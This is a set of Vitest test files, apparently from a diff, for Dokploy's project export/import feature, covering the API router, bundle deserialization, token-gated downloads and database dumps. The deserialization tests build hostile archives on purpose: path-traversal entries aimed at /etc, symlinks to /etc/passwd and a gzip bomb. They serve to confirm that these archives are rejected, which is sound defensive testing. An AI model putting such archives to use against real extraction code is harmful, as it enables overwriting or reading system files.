shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
},
passphrase: "correct-horse-battery-staple",
}),
).rejects.toMatchObject({ code: "BAD_REQUEST" });
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.resetModules();
}, 30_000);
});
describe("projectExportImportRouter.exportOrganizationStart on IS_CLOUD", () => {
it("skips projects with no remote server instead of failing the whole batch", async () => {
vi.resetModules();
process.env.IS_CLOUD = "true";
const runExportBatch = vi.fn(() => ({ exportIds: ["export-1"] }));
vi.doMock("@dokploy/server/db", () => ({
db: {
query: {
projects: {
findMany: async () => [
{ projectId: "with-server", name: "With server" },
{ projectId: "empty", name: "Empty" },
],
},
},
},
}));
vi.doMock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
findOrganizationDestination: vi.fn(async () => ({})),
bundleBuildServer: vi.fn(async (_db, projectId: string) => {
if (projectId === "with-server") return "server-1";
throw new TRPCError({
code: "BAD_REQUEST",
message: "none of the selected services runs on a remote server",
});
}),
runExportBatch,
};
},
);
vi.doMock("../../server/api/utils/audit", () => ({ audit: vi.fn() }));
const { projectExportImportRouter } = await import(
"../../server/api/routers/project-export-import"
);
const caller = projectExportImportRouter.createCaller({
session: { activeOrganizationId: "org-1" },
user: { id: "user-org-cloud", email: "a@b.com" },
} as any);
const result = await caller.exportOrganizationStart({
destinationId: "dest-1",
passphrase: "correct-horse-battery-staple",
projectIds: ["with-server", "empty", "with-server"],
});
expect(result.exports).toEqual([
{ projectId: "with-server", name: "With server", exportId: "export-1" },
]);
expect(result.skipped).toMatchObject([{ projectId: "empty" }]);
expect(runExportBatch).toHaveBeenCalledWith(
[expect.objectContaining({ buildServerId: "server-1" })],
expect.anything(),
);
delete process.env.IS_CLOUD;
vi.doUnmock("@dokploy/server/db");
vi.doUnmock("@dokploy/server/services/project-export-import");
vi.doUnmock("../../server/api/utils/audit");
vi.resetModules();
}, 30_000);
});
@@ -1,393 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, readFile, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { gzipSync } from "node:zlib";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
capture,
detectRequirements,
detectWarnings,
inspectBundle,
serialize,
TransferCryptoError,
unlockBundle,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
const PASSPHRASE = "correct-horse-battery-staple";
const application = {
applicationId: "app-1",
name: "my-app",
appName: "my-app-abc123",
environmentId: "env-1",
env: "DATABASE_URL=postgres://user:${{vault.prod.DB_PASS}}@db/mydb",
buildArgs: null,
buildSecrets: null,
previewEnv: null,
serverId: null,
buildServerId: null,
githubId: null,
gitlabId: null,
giteaId: null,
bitbucketId: null,
refreshToken: "webhook-token",
registryId: null,
buildRegistryId: null,
rollbackRegistryId: null,
customGitSSHKeyId: null,
customGitSSHKey: null,
networkIds: [],
owner: null,
repository: null,
sourceType: "docker",
autoDeploy: false,
isPreviewDeploymentsActive: false,
createdAt: "2024-01-01T00:00:00.000Z",
domains: [],
mounts: [],
redirects: [],
security: [],
ports: [],
schedules: [],
volumeBackups: [],
};
const postgres = {
postgresId: "pg-1",
name: "my-db",
appName: "my-db-xyz789",
environmentId: "env-1",
env: "",
databasePassword: "realdbpassword123",
serverId: null,
createdAt: "2024-01-01T00:00:00.000Z",
mounts: [],
backups: [],
volumeBackups: [],
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
redis: [],
libsql: [],
compose: [],
};
const projectTree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
createdAt: "2024-01-01T00:00:00.000Z",
environments: [
{
environmentId: "env-1",
name: "production",
projectId: "project-1",
env: "",
isDefault: true,
createdAt: "2024-01-01T00:00:00.000Z",
applications: [application],
postgres: [postgres],
...emptyServiceArrays,
},
],
};
const fakeDb = (): TransferDb =>
({
query: {
projects: { findFirst: async () => projectTree },
environments: { findFirst: async () => undefined },
applications: { findMany: async () => [application] },
schedules: { findMany: async () => [] },
volumeBackups: { findMany: async () => [] },
vaultProvider: { findMany: async () => [] },
registry: { findMany: async () => [], findFirst: async () => undefined },
destinations: { findMany: async () => [] },
network: { findMany: async () => [] },
certificates: { findMany: async () => [] },
},
}) as any as TransferDb;
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: false,
composeFiles: false,
traefikRaw: false,
customCertificates: false,
},
dumps: { mode: "none" },
includeBackupSchedules: true,
};
const ustarHeader = (name: string, size: number): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${size.toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("0", 156, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildMaliciousTarGz = (entryName: string, content: Buffer): Buffer => {
const header = ustarHeader(entryName, content.length);
const padded = Buffer.concat([
content,
Buffer.alloc((512 - (content.length % 512)) % 512),
]);
const archive = Buffer.concat([header, padded, Buffer.alloc(1024)]);
return gzipSync(archive);
};
const ustarSymlinkHeader = (name: string, linkTarget: string): Buffer => {
const header = Buffer.alloc(512);
header.write(name, 0, "utf8");
header.write("0000777\0", 100, "utf8");
header.write("0000000\0", 108, "utf8");
header.write("0000000\0", 116, "utf8");
header.write(`${(0).toString(8).padStart(11, "0")}\0`, 124, "utf8");
header.write(
`${Math.floor(Date.now() / 1000)
.toString(8)
.padStart(11, "0")}\0`,
136,
"utf8",
);
header.write(" ", 148, "utf8");
header.write("2", 156, "utf8");
header.write(linkTarget, 157, "utf8");
header.write("ustar\0", 257, "utf8");
header.write("00", 263, "utf8");
let checksum = 0;
for (const byte of header) checksum += byte;
header.write(`${checksum.toString(8).padStart(6, "0")}\0 `, 148, "utf8");
return header;
};
const buildSymlinkTarGz = (entryName: string, linkTarget: string): Buffer => {
const header = ustarSymlinkHeader(entryName, linkTarget);
const archive = Buffer.concat([header, Buffer.alloc(1024)]);
return gzipSync(archive);
};
let workDir: string;
let outDir: string;
let bundlePath: string;
const buildBundle = async () => {
const db = fakeDb();
const captureResult = await capture(
db,
{ kind: "project", id: "project-1" },
baseScope,
{
detectRequirements: (tree, scope) => detectRequirements(db, tree, scope),
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
},
);
await serialize(
{
resources: captureResult.resources,
inventory: captureResult.inventory,
requirements: captureResult.requirements,
warnings: captureResult.warnings,
dumps: [],
scope: baseScope,
organizationId: "org-1",
dokployVersion: "1.0.0-test",
exportedBy: { userId: "user-1", email: "a@b.com" },
},
captureResult.secretsPlain,
PASSPHRASE,
local(workDir),
local(bundlePath),
);
};
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-deser-work-"));
outDir = await mkdtemp(join(tmpdir(), "transfer-deser-out-"));
bundlePath = join(outDir, "bundle.dokploy.tar.gz");
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
await rm(outDir, { recursive: true, force: true });
});
describe("deserialize: inspectBundle + unlockBundle", () => {
it("round-trips the exact snapshot through inspect + unlock", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
const inspected = await inspectBundle(
local(bundlePath),
local(extractDir),
);
expect(inspected.manifest.sourceInstance.organizationId).toBe("org-1");
expect(inspected.inventory.totals.application).toBe(1);
expect(Array.isArray(inspected.requirements)).toBe(true);
expect(Array.isArray(inspected.warnings)).toBe(true);
expect(existsSync(join(extractDir, "resources"))).toBe(false);
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
expect(unlocked.snapshot.manifest).toEqual(inspected.manifest);
expect(existsSync(join(extractDir, "payload.enc"))).toBe(false);
expect(existsSync(join(extractDir, "secrets.json"))).toBe(false);
expect(unlocked.snapshot.resources.project).toMatchObject({
projectId: "project-1",
name: "my-project",
});
expect(unlocked.snapshot.resources.environments).toHaveLength(1);
const decryptedValues = Array.from(unlocked.secretsPlain.values());
expect(decryptedValues).toContain("realdbpassword123");
} finally {
await rm(extractDir, { recursive: true, force: true });
}
}, 30_000);
it("throws TransferCryptoError on a wrong passphrase", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
await expect(
unlockBundle(local(extractDir), "totally-wrong-passphrase-here"),
).rejects.toThrow(TransferCryptoError);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("throws TransferCryptoError when the encrypted payload is tampered with", async () => {
await buildBundle();
const extractDir = await mkdtemp(join(tmpdir(), "transfer-deser-extract-"));
try {
await inspectBundle(local(bundlePath), local(extractDir));
const payloadPath = join(extractDir, "payload.enc");
const bytes = await readFile(payloadPath);
const middle = Math.floor(bytes.length / 2);
bytes[middle] = (bytes[middle] ?? 0) ^ 0xff;
await writeFile(payloadPath, bytes);
await expect(unlockBundle(local(extractDir), PASSPHRASE)).rejects.toThrow(
TransferCryptoError,
);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a tar entry that attempts path traversal", async () => {
const maliciousBundle = join(outDir, "evil.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildMaliciousTarGz("../../etc/evil-payload", Buffer.from("evil")),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-evil-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe path/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a gzip bomb before extracting anything", async () => {
const bomb = join(outDir, "bomb.dokploy.tar.gz");
await writeFile(
bomb,
buildMaliciousTarGz("manifest.json", Buffer.alloc(1024 * 1024)),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-bomb-"),
);
try {
await expect(
inspectBundle(local(bomb), local(extractDir), {
maxDecompressedBytes: 64 * 1024,
}),
).rejects.toThrow(/decompressed size/);
expect(existsSync(join(extractDir, "manifest.json"))).toBe(false);
// A post-extraction failure removes the directory; the pre-check never touches it.
expect(existsSync(extractDir)).toBe(true);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects an escaping symlink even when its name contains a tab", async () => {
const maliciousBundle = join(outDir, "evil-tab-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("x\ty", "../../../../etc"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-tab-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
it("rejects a symlink entry whose target escapes workDir", async () => {
const maliciousBundle = join(outDir, "evil-symlink.dokploy.tar.gz");
await writeFile(
maliciousBundle,
buildSymlinkTarGz("innocuous-name.txt", "../../../../etc/passwd"),
);
const extractDir = await mkdtemp(
join(tmpdir(), "transfer-deser-extract-symlink-"),
);
try {
await expect(
inspectBundle(local(maliciousBundle), local(extractDir)),
).rejects.toThrow(/unsafe symlink/i);
} finally {
await rm(extractDir, { recursive: true, force: true });
}
});
});
@@ -1,316 +0,0 @@
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { PassThrough, Readable } from "node:stream";
import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
const { errorPathBox } = vi.hoisted(() => ({ errorPathBox: { value: "" } }));
vi.mock(
"@dokploy/server/utils/process/remoteStream",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/utils/process/remoteStream")
>();
return {
...actual,
openProcessStream: async (serverId: string | null, command: string) => {
if (errorPathBox.value && command.includes(errorPathBox.value)) {
const stdout = new Readable({ read() {} });
process.nextTick(() => {
stdout.emit("error", new Error("simulated read failure"));
});
return {
stdin: new PassThrough(),
stdout,
stderr: new PassThrough(),
exit: Promise.resolve(1),
close: () => {},
};
}
return actual.openProcessStream(serverId, command);
},
};
},
);
let sessionToReturn: {
session: { activeOrganizationId: string } | null;
user: { id: string } | null;
} = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
vi.mock("@dokploy/server/lib/auth", () => ({
validateRequest: vi.fn(() => Promise.resolve(sessionToReturn)),
}));
vi.mock(
"@dokploy/server/services/project-export-import",
async (importOriginal) => {
const actual =
await importOriginal<
typeof import("@dokploy/server/services/project-export-import")
>();
return {
...actual,
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
};
},
);
const {
createExportJob,
issueDownloadToken,
updateExportJob,
peekDownloadToken,
assertTransferPermission,
} = await import("@dokploy/server/services/project-export-import");
const handler = (
await import("../../pages/api/project-export-import/download/[token]")
).default;
let root: string;
beforeEach(async () => {
root = await mkdtemp(join(tmpdir(), "transfer-download-route-"));
errorPathBox.value = "";
sessionToReturn = {
session: { activeOrganizationId: "org-1" },
user: { id: "user-1" },
};
});
afterEach(async () => {
await rm(root, { recursive: true, force: true });
});
const buildReq = (
method: string,
token: string,
): { method: string; query: { token: string } } => ({
method,
query: { token },
});
const buildRes = () => {
const stream = new PassThrough() as unknown as {
statusCode: number;
status: (code: number) => typeof stream;
json: (body: unknown) => typeof stream;
jsonBody?: unknown;
setHeader: (key: string, value: unknown) => void;
headers: Record<string, unknown>;
} & PassThrough;
stream.statusCode = 200;
stream.headers = {};
stream.status = vi.fn((code: number) => {
stream.statusCode = code;
return stream;
}) as typeof stream.status;
stream.json = vi.fn((body: unknown) => {
stream.jsonBody = body;
return stream;
}) as typeof stream.json;
stream.setHeader = vi.fn((key: string, value: unknown) => {
stream.headers[key] = value;
});
return stream;
};
const drain = (stream: PassThrough): Promise<Buffer> =>
new Promise((resolve, reject) => {
const chunks: Buffer[] = [];
stream.on("data", (chunk) => chunks.push(chunk as Buffer));
stream.on("end", () => resolve(Buffer.concat(chunks)));
stream.on("error", reject);
});
describe("transfer download route", () => {
it("rejects unauthenticated requests", async () => {
sessionToReturn = { session: null, user: null };
const req = buildReq("GET", "any-token");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(401);
});
it("rejects an unknown token", async () => {
const req = buildReq("GET", "does-not-exist");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("rejects a non-owner/admin caller with a valid, same-org token", async () => {
const job = createExportJob("export-forbidden-1", "user-1", "org-1");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-forbidden-1") as string;
(assertTransferPermission as any).mockRejectedValueOnce(
new (await import("@trpc/server")).TRPCError({
code: "FORBIDDEN",
message: "Only organization owners and admins can do that",
}),
);
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(403);
expect(assertTransferPermission).toHaveBeenCalled();
});
it("rejects a token belonging to another organization", async () => {
const job = createExportJob("export-1", "user-1", "org-2");
job.status = "done";
job.bundle = { serverId: null, path: join(root, "bundle.tar.gz") };
const token = issueDownloadToken("export-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(404);
});
it("streams the bundle and invalidates the token on success, keeps it valid on failure retries", async () => {
const bundlePath = join(root, "bundle.tar.gz");
const content = Buffer.from(
"fake bundle bytes, could be large in real life",
);
await writeFile(bundlePath, content);
createExportJob("export-2", "user-1", "org-1");
updateExportJob("export-2", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-2") as string;
const req = buildReq("GET", token);
const res = buildRes();
const [, received] = await Promise.all([
handler(req as any, res as any),
drain(res),
]);
expect(received.equals(content)).toBe(true);
expect(res.headers["Content-Type"]).toBe("application/gzip");
expect(res.headers["Content-Length"]).toBe(content.length);
expect(String(res.headers["Content-Disposition"])).toContain(
"bundle.tar.gz",
);
await new Promise((resolve) => setTimeout(resolve, 10));
expect(peekDownloadToken(token)).toBeUndefined();
});
it("keeps the token valid when the connection closes before the download finishes", async () => {
const bundlePath = join(root, "bundle-disconnect.tar.gz");
await writeFile(bundlePath, Buffer.alloc(1024 * 1024, 7));
createExportJob("export-disconnect-1", "user-1", "org-1");
updateExportJob("export-disconnect-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-disconnect-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.once("data", () => {
res.destroy();
});
await handler(req as any, res as any);
expect(peekDownloadToken(token)).toBeDefined();
});
it("destroys the response instead of hanging when the source stream errors mid-read", async () => {
const bundlePath = join(root, "bundle-error.tar.gz");
await writeFile(bundlePath, Buffer.from("will never actually be read"));
errorPathBox.value = bundlePath;
createExportJob("export-error-1", "user-1", "org-1");
updateExportJob("export-error-1", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-error-1") as string;
const req = buildReq("GET", token);
const res = buildRes();
await handler(req as any, res as any);
expect(res.destroyed).toBe(true);
});
it("rejects a GET with a non-string token param", async () => {
const req = { method: "GET", query: { token: ["a", "b"] } };
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(400);
});
it("rejects non-GET methods", async () => {
const req = buildReq("POST", "whatever");
const res = buildRes();
await handler(req as any, res as any);
expect(res.statusCode).toBe(405);
});
it("does not buffer the whole file into memory while streaming a large bundle", async () => {
const bundlePath = join(root, "large-bundle.tar.gz");
const chunkSize = 1024 * 1024;
const chunkCount = 50;
const chunk = Buffer.alloc(chunkSize, 7);
const { open } = await import("node:fs/promises");
const handle = await open(bundlePath, "w");
for (let i = 0; i < chunkCount; i++) {
await handle.write(chunk);
}
await handle.close();
createExportJob("export-large", "user-1", "org-1");
updateExportJob("export-large", {
status: "done",
bundle: { serverId: null, path: bundlePath },
});
const token = issueDownloadToken("export-large") as string;
const req = buildReq("GET", token);
const res = buildRes();
res.resume();
if (global.gc) {
global.gc();
}
const before = process.memoryUsage().heapUsed;
await handler(
req as unknown as Parameters<typeof handler>[0],
res as unknown as Parameters<typeof handler>[1],
);
if (global.gc) {
global.gc();
}
const after = process.memoryUsage().heapUsed;
const grew = after - before;
expect(grew).toBeLessThan((chunkSize * chunkCount) / 2);
});
});
@@ -1,550 +0,0 @@
import { existsSync } from "node:fs";
import { mkdtemp, rm, writeFile } from "node:fs/promises";
import { tmpdir } from "node:os";
import { join } from "node:path";
import type {
ExportScope,
TransferDb,
} from "@dokploy/server/services/project-export-import";
import {
buildComposeDumpCommand,
buildDumpCommand,
createDumps,
MAX_EMBEDDED_DUMP_BYTES,
} from "@dokploy/server/services/project-export-import";
import { afterEach, beforeEach, describe, expect, it } from "vitest";
const local = (path: string) => ({ serverId: null, path });
describe("buildDumpCommand", () => {
it("builds a postgres dump command using databaseName/databaseUser", () => {
const built = buildDumpCommand("postgres", {
appName: "pg-one",
databaseName: "mydb",
databaseUser: "myuser",
});
expect(built?.ext).toBe("sql.gz");
expect(built?.containerSearch).toContain("pg-one");
expect(built?.command).toContain("pg_dump");
expect(built?.command).toContain("mydb");
});
it("builds a mysql dump command using databaseRootPassword", () => {
const built = buildDumpCommand("mysql", {
appName: "mysql-one",
databaseName: "mydb",
databaseRootPassword: "rootpass",
});
expect(built?.command).toContain("mysqldump");
expect(built?.command).toContain("rootpass");
});
it("builds a mariadb dump command using databaseUser + databasePassword", () => {
const built = buildDumpCommand("mariadb", {
appName: "maria-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.command).toContain("mariadb-dump");
});
it("builds a mongo dump command", () => {
const built = buildDumpCommand("mongo", {
appName: "mongo-one",
databaseName: "mydb",
databaseUser: "u",
databasePassword: "p",
});
expect(built?.ext).toBe("archive.gz");
expect(built?.command).toContain("mongodump");
expect(built?.command).toContain("--archive --gzip");
expect(built?.command).not.toContain("-d ");
});
it("builds a libsql dump command over sqld's iku.db data directory", () => {
const built = buildDumpCommand("libsql", { appName: "libsql-one" });
expect(built?.ext).toBe("tar.gz");
expect(built?.command).toContain("iku.db");
expect(built?.command).not.toContain("libsql-one");
});
it("returns undefined for a non-dumpable service type", () => {
expect(buildDumpCommand("redis", { appName: "redis-one" })).toBeUndefined();
expect(
buildDumpCommand("application", { appName: "app-one" }),
).toBeUndefined();
});
});
describe("buildComposeDumpCommand", () => {
it("builds from metadata.mariadb when databaseType is mariadb", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: { mariadb: { databaseUser: "u", databasePassword: "p" } },
});
expect(built?.command).toContain("mariadb-dump");
expect(built?.containerSearch).toContain("stack-one");
});
it("returns undefined when the matching metadata block is missing", () => {
const built = buildComposeDumpCommand({
appName: "stack-one",
serviceName: "db",
database: "mydb",
databaseType: "mongo",
metadata: {},
});
expect(built).toBeUndefined();
});
});
const baseScope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
const emptyServiceArrays = {
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [],
};
const buildTree = (
postgres: Record<string, unknown>[],
redis: Record<string, unknown>[] = [],
) => ({
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres,
redis,
...emptyServiceArrays,
},
],
});
const fakeDb = (overrides: Record<string, unknown> = {}): TransferDb =>
({
query: {
deployments: { findMany: async () => [] },
backups: { findFirst: async () => undefined },
...overrides,
},
}) as any as TransferDb;
let workDir: string;
beforeEach(async () => {
workDir = await mkdtemp(join(tmpdir(), "transfer-dumps-"));
});
afterEach(async () => {
await rm(workDir, { recursive: true, force: true });
});
describe("createDumps / embed mode", () => {
it("writes a dump per dumpable service via the injected runDump and records its size", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(100, 1));
},
},
);
expect(warnings).toHaveLength(0);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "embed",
ext: "sql.gz",
path: "dumps/pg-1.sql.gz",
bytes: 100,
},
]);
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(true);
});
it("notes that admin users are not restored for a mongo dump", async () => {
const tree = buildTree([]);
tree.environments[0]!.mongo = [
{
mongoId: "mongo-1",
appName: "mongo-one",
databaseUser: "u",
databasePassword: "p",
serverId: null,
backups: [],
},
] as any;
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_serverId, _cmd, localPath) => {
await writeFile(localPath.path, Buffer.alloc(10, 1));
},
},
);
expect(dumps).toHaveLength(1);
expect(warnings.map((w) => w.code)).toEqual([
"MONGO_ADMIN_USERS_NOT_RESTORED",
]);
});
it("skips redis (no dump mechanism)", async () => {
const tree = buildTree(
[],
[
{
redisId: "redis-1",
appName: "redis-one",
serverId: null,
backups: [],
},
],
);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(0);
});
it("does nothing when dumps.mode is none", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "none" } },
local(workDir),
{
runDump: async () => {
throw new Error("should not be called");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
it("emits DUMP_SKIPPED_TOO_LARGE and deletes the file when over the byte limit", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => {
const { open } = await import("node:fs/promises");
const handle = await open(localPath.path, "w");
await handle.truncate(MAX_EMBEDDED_DUMP_BYTES + 1);
await handle.close();
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_SKIPPED_TOO_LARGE");
expect(existsSync(join(workDir, "dumps", "pg-1.sql.gz"))).toBe(false);
});
it("emits DUMP_FAILED and doesn't add a dumps entry when runDump throws", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [],
},
]);
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("pg_dump: connection refused");
},
},
);
expect(dumps).toHaveLength(0);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("DUMP_FAILED");
expect(warnings[0]?.message).toContain("pg-one");
expect(warnings[0]?.affected).toContainEqual(
expect.objectContaining({ serviceId: "pg-1" }),
);
});
it("emits COMPOSE_DUMP_NOT_RESTORABLE for a compose backup", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async (_s, _c, localPath) => writeFile(localPath.path, "x"),
},
);
expect(dumps).toHaveLength(1);
expect(warnings).toHaveLength(1);
expect(warnings[0]?.code).toBe("COMPOSE_DUMP_NOT_RESTORABLE");
expect(warnings[0]?.affected).toEqual([
{
serviceId: "compose-1",
serviceType: "compose",
serviceName: "stack-one",
environmentId: "env-1",
},
]);
expect(dumps[0]?.serviceId).toBe("compose-1");
expect(dumps[0]?.mode).toBe("embed");
expect(dumps[0]?.mode === "embed" ? dumps[0].path : undefined).toContain(
"backup-1",
);
});
it("does not emit COMPOSE_DUMP_NOT_RESTORABLE when the compose dump itself fails", async () => {
const tree = {
projectId: "project-1",
name: "my-project",
organizationId: "org-1",
env: "",
environments: [
{
environmentId: "env-1",
name: "production",
env: "",
applications: [],
postgres: [],
redis: [],
mysql: [],
mariadb: [],
mongo: [],
libsql: [],
compose: [
{
composeId: "compose-1",
appName: "stack-one",
serverId: null,
backups: [
{
backupId: "backup-1",
serviceName: "db",
database: "mydb",
databaseType: "mariadb",
metadata: {
mariadb: { databaseUser: "u", databasePassword: "p" },
},
},
],
},
],
},
],
};
const { dumps, warnings } = await createDumps(
fakeDb(),
tree as any,
baseScope,
local(workDir),
{
runDump: async () => {
throw new Error("Container not found");
},
},
);
expect(dumps).toHaveLength(0);
expect(warnings.map((warning) => warning.code)).toEqual(["DUMP_FAILED"]);
expect(existsSync(join(workDir, "dumps"))).toBe(false);
});
});
describe("createDumps / referenceLastBackup mode", () => {
it("references the destination + key prefix of the latest successful backup", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const db = fakeDb({
deployments: {
findMany: async () => [{ backupId: "backup-1", status: "done" }],
},
backups: {
findFirst: async () => ({
backupId: "backup-1",
destinationId: "dest-1",
prefix: "/nightly/",
}),
},
});
const { dumps } = await createDumps(
db,
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toEqual([
{
serviceId: "pg-1",
serviceType: "postgres",
mode: "referenceLastBackup",
destinationId: "dest-1",
keyPrefix: "pg-one/nightly/",
},
]);
});
it("skips a service with no successful backup deployment", async () => {
const tree = buildTree([
{
postgresId: "pg-1",
appName: "pg-one",
databaseName: "db",
databaseUser: "u",
serverId: null,
backups: [{ backupId: "backup-1" }],
},
]);
const { dumps } = await createDumps(
fakeDb(),
tree as any,
{ ...baseScope, dumps: { mode: "referenceLastBackup" } },
local(workDir),
);
expect(dumps).toHaveLength(0);
});
});
@@ -1,118 +0,0 @@
import type { ExportScope } from "@dokploy/server/services/project-export-import";
import {
buildDatabaseSizeCommand,
buildDirectorySizeCommand,
estimateSizes,
} from "@dokploy/server/services/project-export-import";
import { describe, expect, it } from "vitest";
const scope: ExportScope = {
includeEnvSecrets: true,
shared: {},
files: {
applicationSources: true,
composeFiles: true,
traefikRaw: true,
customCertificates: true,
},
dumps: { mode: "embed" },
includeBackupSchedules: true,
};
